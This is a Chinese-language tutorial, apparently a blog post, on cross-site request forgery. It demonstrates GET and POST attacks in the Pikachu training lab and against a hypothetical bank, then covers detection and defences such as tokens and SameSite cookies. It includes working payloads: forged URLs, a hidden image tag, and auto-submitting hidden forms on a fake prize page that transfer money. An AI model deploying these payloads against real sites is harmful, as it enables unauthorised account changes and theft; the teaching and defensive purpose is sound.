CSRF漏洞

CSRF原理

CSRF (Cross-site request forgery，跨站请求伪造)是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS)，但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。

核心思想： 攻击者诱骗一个已经认证（已登录）的用户，在不知情的情况下，执行一个非本意的操作（如修改密码、转账、发邮件等）。

关键前提： 用户必须在目标网站（例如银行网站 bank.com）上处于已登录状态（会话有效）。

此图的攻击流程

1、客户端通过账户密码登录访问网站A。
2、网站A验证客户端的账号密码，成功则生成一个sessionlD，并返回给客户端存储在浏览器中。
3、该客户端Tab—个新页面访问了网站B。
4、网站B自动触发要求该客户端访问网站A。(即在网站B中有链接指向网站A)
5、客户端通过网站B中的链接访问网站A。(此时携带有合法的SessionID进行访问站A的)
6、此时网站A只需检验sessionIlD是否合法，合法则执行相应的操作。(因此具体啥工具就得看链接，以及网站B要求访问时携带的数据)

能完成csrf攻击，必须同时满足两个条件：

登录受信任的网站A，并在本地生成cookie，在不等出A的情况下，访问危险网站B

CSRF分类

GET型的CSRF

靶场演示

我们直接用pikachu靶场来进行学习

首先我们登录进页面

发现能进行修改个人信息，那我们随便修改一个地址试试，与此同时抓包看一下这是怎么进行个人信息修改的

那下面我们就模拟一下get型的csrf攻击

1.拿到get请求的形式（这里只要攻击者也登入这个界面然后也修改一下个人信息就能拿到这个请求）

1	GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=china&email=lili%40pikachu.com&submit=submit

2.进行伪造

这里是自己做实验，所以我们用成功修改这个用户的个人信息来当作成功攻击的信号

1	http://192.168.1.6/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=beijing&email=lili%40pikachu.com&submit=submit

3.然后将这个链接发给lili这个用户，再诱导她在登录pikachu平台的情况下，点击这个链接

4.达到目的成功修改lili的信息

实例演示

场景设定
假设有一个非常简单的银行应用 vulnerable-bank.com，它使用 GET 请求来处理转账功能。这是非常糟糕的设计，但正因如此，它能完美地展示最直接的CSRF攻击。

转账功能URL：
http://vulnerable-bank.com/transfer?to=目标账户&amount=金额
用户登录：
用户 Alice 已经登录了 vulnerable-bank.com，她的浏览器cookie中存储了她的会话ID（Session ID）。
攻击者目标：
攻击者 Mallory 的账户是 mallory_account。她想诱骗 Alice 在不知情的情况下向自己转账 $1000。

第 1 步：正常的用户操作
如果 Alice 想主动给她的朋友 Bob 转账 $500，她可能会直接在浏览器地址栏输入，或者点击一个早已收藏好的链接：

http://vulnerable-bank.com/transfer?to=bob_account&amount=500

浏览器会向银行服务器发送一个 GET 请求：

1
2
3

GET /transfer?to=bob_account&amount=500 HTTP/1.1
Host: vulnerable-bank.com
Cookie: sessionid=alices_session_cookie_here

服务器收到请求，检查Cookie，发现是已登录的Alice，于是执行转账并返回成功页面。

第 2 步：攻击者构造恶意请求
Mallory 现在需要构造一个完全相同的请求，但她不可能知道 Alice 的 Cookie。她的聪明之处在于：她不需要知道，她只需要让 Alice 的浏览器去发这个请求就行了。

她可以创建一个隐藏的请求。最简单的方式就是用一个标签。浏览器会尝试加载这个“图片”，从而向银行服务器发送一个GET请求。

她将以下代码部署在自己的恶意网站上（http://evil-website.com）：

<!DOCTYPE html>
<html>
<head>
    <title>赢取免费iPhone！</title>
</head>
<body>
    <h1>恭喜你！你是第100万位访客！</h1>
    <p>点击下方链接，即可赢取免费iPhone！</p>
    <!-- 其他花里胡哨的内容吸引用户注意力 -->

    <!-- 隐藏的CSRF攻击载荷 -->
    <img src="http://vulnerable-bank.com/transfer?to=mallory_account&amount=1000"
         width="0" height="0" style="display:none;">

</body>
</html>

<img src=”…”：浏览器会自动向 src 属性中的URL发起一个 GET 请求来加载“图片”。

width=”0” height=”0” style=”display:none;”：这个标签被隐藏，用户完全看不到任何变化，攻击在后台静默完成。

第 3 步：攻击发生流程
1.诱导： Alice 收到了 Mallory 发来的一封钓鱼邮件，标题是“恭喜你中奖了！”，里面有一个链接指向 http://evil-website.com。Alice 好奇地点了进去。

2.加载：浏览器加载了恶意网站。在加载过程中，它遇到了那个隐藏的标签。

3.发送请求：浏览器开始向 http://vulnerable-bank.com/transfer?to=mallory_account&amount=1000 发起请求。

4.携带Cookie：关键一步！因为 Alice 之前登录过 vulnerable-bank.com，浏览器会自动地、合法地将属于 vulnerable-bank.com 的Cookie（包含Alice的会话ID）附加到这个请求中。（前提是Alice还没有退出vulnerable-bank.com的登录，会话ID仍有效）

5.服务器验证：银行服务器收到请求：

1
2
3

GET /transfer?to=mallory_account&amount=1000 HTTP/1.1
Host: vulnerable-bank.com
Cookie: sessionid=alices_session_cookie_here # 浏览器自动携带的！

服务器检查Cookie，有效！这是合法的用户Alice发来的请求。于是服务器执行操作：从Alice的账户扣除$1000，存入Mallory的账户。

6.攻击完成：攻击在Alice毫不知情的情况下完成了。她只是在看一个“中奖”页面，而她的钱已经被转走了。浏览器可能会显示一个“图片加载失败”的错误（因为服务器返回的是转账成功的HTML页面，不是图片），但用户根本不会在意。

POST型的CSRF

靶场演示

这一关登录进去和第一关是一样的

进入修改信息界面，点击提交进行抓包

既然这样的话那就不能和上一关一样使用url伪造的方法了

那我们就用和xss漏洞相似的方法，我们构造一个恶意站点，将POST请求隐藏在站点中的表单中，然后诱导这个用户点击我们的恶意站点，当用户点击后触发表单，数据就会被post达到存在csrf漏洞的网站，用户信息就会被恶意修改

根据原本网站界面的表单构造我们的post请求

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://www.pikachu.com:90/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="123456789" />
                <input type="hidden" name="add" value="usa" />
                <input type="hidden" name="email" value="caker@pikachu.com" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html>

因为是本机操作所以就把这个csrf.html文件放在靶场底下的一个目录即可

然后访问这个站点，点击提交按钮即可，但是我不知道为什么我一直访问不了我写好的这个html文件

到底哪里出了问题！！！！！

没关系反正是本机演练学懂就行

实例演示

场景升级：银行改进了系统

假设银行 vulnerable-bank.com 听取了安全建议，将转账功能从GET请求升级为了POST请求。

转账功能URL：
http://vulnerable-bank.com/transfer (不变)
请求方式：
POST
请求参数：
通过请求体（Body）发送，例如：to=mallory_account&amount=1000

现在，用户Alice通过一个表单来进行转账：

<!-- 银行正常的转账表单 -->
<form action="/transfer" method="POST">
  <label for="to">收款账户：</label>
  <input type="text" id="to" name="to"><br>
  <label for="amount">金额：</label>
  <input type="number" id="amount" name="amount"><br>
  <input type="submit" value="转账">
</form>

这看起来更安全了，因为URL里不再包含敏感参数。但是，如果银行没有实施其他防御措施（如CSRF Token），它依然是不安全的。

攻击者如何构造POST请求？

攻击者Mallory无法使用标签了（因为它只会发起GET请求）。但她可以使用一个隐藏的并会自动提交的HTML表单。

她将以下代码部署在自己的恶意网站上（http://evil-website.com）：

<!DOCTYPE html>
<html>
<head>
    <title>赢取免费iPhone！</title>
</head>
<body>
    <h1>恭喜你！你是第100万位访客！</h1>
    <p>点击下方链接，即可赢取免费iPhone！</p>
    <!-- 其他花里胡哨的内容吸引用户注意力 -->

    <!-- 隐藏的自动提交表单 - POST型CSRF载荷 -->
    <form id="maliciousForm" action="http://vulnerable-bank.com/transfer" method="POST" style="display: none;">
        <input type="hidden" name="to" value="mallory_account">
        <input type="hidden" name="amount" value="1000">
    </form>

    <script>
        // 页面加载完成后，自动提交表单
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('maliciousForm').submit();
        });
    </script>

</body>
</html>

关键解释：

标签：定义了这是一个表单，action 指向银行的转账接口，method 设置为 POST。

style=”display: none;” 将其隐藏。

：这些是隐藏的表单字段，预填好了攻击参数（收款账户和金额）。用户看不到也无法修改它们。

script标签：包含了一小段JavaScript代码，它在页面加载完成（DOMContentLoaded）后，会自动提交（submit()）这个隐藏的表单。

第 3 步：攻击发生流程 (POST版本)

1.诱导：和之前一样，Alice 被诱骗访问了 http://evil-website.com。

2.加载与执行：浏览器加载恶意页面。页面渲染完成后，JavaScript代码执行。

3.发送请求： JavaScript命令浏览器向 http://vulnerable-bank.com/transfer 提交一个 POST 请求。请求体中包含了数据 to=mallory_account&amount=1000。

4.携带Cookie：最关键的一步依然发生！浏览器在发起这个跨站的POST请求时，依然会自动地、合法地将Alice的会话Cookie附加在请求头中。

5.服务器验证：银行服务器收到请求：

服务器检查Cookie，有效！这是合法的用户Alice发来的POST请求。服务器欣然执行转账操作。

6.攻击完成： Alice的浏览器可能会跳转到银行转账成功的页面，或者停留在恶意网站（取决于表单的target属性）。无论哪种情况，转账操作都已经在后台静默完成。

CSRF漏洞的挖掘

1、最简单的方法就是抓取一个正常请求的数据包，如果没有Referer字段和token，那么极有可能存在CSRF漏洞。

2、如果有Referer字段，但是去掉Referer字段后再重新提交，如果该提交还有效，那么基本上可以确定存在CSRF漏洞。

CSRF漏洞的防御

防御四大金刚（从强到弱推荐）

CSRF Token（防伪印章）

是什么？

一个服务器生成的、随机且复杂的字符串（令牌）。每个用户会话的Token都不同，并且与当前会话绑定。

怎么工作？

1.发印章：服务器在显示表单（或页面）时，生成一个Token，藏在表单里（如一个），同时把这个Token记在服务器上（如Session里）。

比如说，在刚刚的靶场里面用户lili想要修改自己的个人信息，那在lili点击这个修改个人信息的链接时，服务器在显示修改信息这个界面时，就会生成一个token，隐藏在返回给用户的界面里，顺便记录下这个token，每次刷新这个修改信息的界面时都会新生成新的token

2.盖印章：用户提交表单时，这个Token会随着请求一起发给服务器。

比如说，用户lili已经修改完自己的个人信息了，需要提交，提交的同时那个隐藏的token也会一起发给服务器

3.验印章：服务器比较用户提交的Token和自己记下的Token是否一致。

一致 → 是自己人，执行操作。

不一致或没有 → 是伪造的请求，直接拒绝！

为什么有效？

坏人的网站无法知道这个Token是什么（因为浏览器同源策略，他读不到你的页面内容），所以他伪造的请求里永远缺少正确的“印章”。

这个防御学完，我想到前面说的csrf的攻击原理，冒出来一个问题

那个token不是藏在用户的会话session中吗，受害者在点击了攻击者的链接发起请求时浏览器不是会自带上用户的会话session吗，为什么攻击者没有用户的Token？？？？？？？？？？

这样看来，Token确实很强大！

这种方法不改变请求本身，而是规范浏览器的行为。

是什么？

它是Cookie的一个属性，告诉浏览器在什么情况下才能发送这个Cookie。

怎么工作？

服务器在设置登录Cookie时，给它加上一个“指令”：

SameSite=Strict（最严格）：只认自家门。只有从银行网站发出的请求，才带Cookie。从恶意网站发的请求，绝对不带。
SameSite=Lax（宽松，现代浏览器的默认值）：认自家门，也认朋友的门。允许从其他网站链接过来时的GET请求带Cookie（比如正常跳转），但禁止不安全的跨站POST请求带Cookie。能防御绝大多数CSRF攻击。
SameSite=None：谁的门都认。任何情况都带Cookie，必须与 Secure 属性（只通过HTTPS传输）一同使用。

为什么有效？

它直接从根源上切断了攻击链条。即使坏人伪造了请求，浏览器也因为“认门”规则而拒绝发送用户的身份Cookie，导致请求没有权限。

服务器设置Cookie时：

1	Set-Cookie: sessionid=abc123; SameSite=Lax; Secure; HttpOnly

验证请求来源（Referer/Origin头）（查快递单）

检查请求是从哪里来的。

是什么？检查HTTP头中的 Referer 或 Origin 字段，看是否来自合法的、自己的网站。

怎么工作？

合法来源： Referer: https://your-bank.com/change_email → 通过。

非法来源： Referer: https://evil.com 或没有来源头 → 拒绝。

缺点：

有些用户出于隐私会禁用Referer头。

配置不好可能被绕过（例如，如果只检查域名是否包含 your-bank.com，坏人可以用 evil.com/your-bank.com 来绕过）。

通常作为第二道防线，而不是唯一防线。

都说是暗号了

常用于前后端分离（API）的应用。

是什么？让前端JavaScript在请求时，自动添加一个自定义的Header（例如 X-Requested-With: XMLHttpRequest）。

怎么工作？服务器检查这个Header是否存在。

为什么有效？浏览器的同源策略规定：坏人的网站无法通过JavaScript为跨域请求设置自定义Header。

前提：这种方式要求你的请求是通过AJAX发出的，并且需要配置CORS（跨域资源共享）。对于传统的表单提交无效。

站点信息

CSRF

CSRF漏洞

CSRF原理

CSRF分类

GET型的CSRF

靶场演示

实例演示

POST型的CSRF

靶场演示

实例演示

CSRF漏洞的挖掘

CSRF漏洞的防御

CSRF Token（防伪印章）

验证请求来源（Referer/Origin头）（查快递单）

使用自定义Header（暗号）

评论区

目录

公告栏

站点信息

CSRF

CSRF漏洞

CSRF原理

CSRF分类

GET型的CSRF

靶场演示

实例演示

POST型的CSRF

靶场演示

实例演示

CSRF漏洞的挖掘

CSRF漏洞的防御

CSRF Token（防伪印章）

SameSite Cookie（管家认门）

验证请求来源（Referer/Origin头）（查快递单）

使用自定义Header（暗号）

评论区

目录

公告栏